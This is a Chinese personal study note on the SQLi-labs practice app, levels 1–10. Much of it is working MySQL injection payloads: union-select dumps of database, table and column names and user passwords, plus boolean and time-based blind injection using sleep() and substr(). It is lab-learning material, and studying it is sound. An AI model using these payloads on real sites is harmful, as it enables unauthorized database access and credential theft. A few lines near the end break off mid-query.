这个仅供我个人学习,就别看了,因为太乱了
LESS-1~4:
mysql。。order by 用法
用于对数据库相应的字段进行排序
通过这个可以判断数据库表里有多少个字段。。。
联合查询:
查看回显数字位置:
因为sql语句的执行结果只有第一行会被回显在页面上,所以我们要把原始语句的的结果集变为空,这样我们想要的结果才能显示在界面上,现在我们又需要确定哪几个字段会被显示在页面上:
http://localhost/sqlilabs/Less-1/?id=-1‘ union select 1,2,3 %23 #通过负号使结果集为空
查看数字的回显位置,在具有回显的替换为常见的对数据库的查询
① version() – 数据库版本
② user() – 数据库用户
③ database() – 当前所在数据库
④ current_user() – 当前用户名
⑤ system_user() – 系统用户名
⑥ session_user() – 连接到数据库的用户名
⑦ @@basedir – 数据库的安装目录
⑧ @@datadir – 数据库文件存放目录
union select 1,2,schema_name from information_schema.schemata –+ #查询第一个数据库
union select 1,2,schema_name from information_schema.schemata limit 1,1 –+ #通过limit 查询第二个数据库
但是这样的方法很慢:于是:
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘security’ –+ 但是会引入单引号的问题,于是可以把单引号里的内容变为十六进制,防止此问题
union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ –+ 查询某个具体的表的具体的字段,出现以下回显
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
取出password的数据:
union select 1,2,group_concat(password) from security.users–+
出现回显:
Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4,admin5
对于group_concat:
group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )
它可以将所以数据链接进行拼接之后作为一行进行显示
通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=’security’
查列: select column_name from information_schema.columns where table_name=’users’
查字段: select username,password from security.users
chemata表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
tables表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表
columns表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等。是show columns from schema_name.table_name的结果取之此表。
对于group
查询所有数据库
http://localhost/sqlilabs/Less-1/?id=1' union select group_concat(schema_name) from information_schema
查询某数据库下所有表
http://localhost/sqlilabs/Less-1/?id=1′
LESS5~10
从第五关开始,就没有SQL回显的位置了,此时就只能考虑布尔盲注,报错型注入,时间延迟注入
试试
http://localhost/Sqli_Edited_Version-master/sqlilabs/Less-5/?id=1′ and if(length(database())=8,sleep(5),1)–+
延时注入,如果返回True(即延时5S),则得到数据库的表名长度为8
http://localhost/Sqli_Edited_Version-master/sqlilabs/Less-5/?id=1′ and left((select database()),1)=’s’–+ 返回True 则数据库的第一个字符为S
或者使用ascii(http://localhost/Sqli_Edited_Version-master/sqlilabs/Less-5/?id=1′ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>12–+)
使用Burp Suite 自带密码爆破工具进行爆破,得到最终数据的名
http://localhost/Sqli_Edited_Version-master/sqlilabs/Less-5/?id=1′ and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)=’r’,sleep(3),1)–+
成功延时三秒,这个是以第二张表进行测试,第一个字母为r,速度很慢。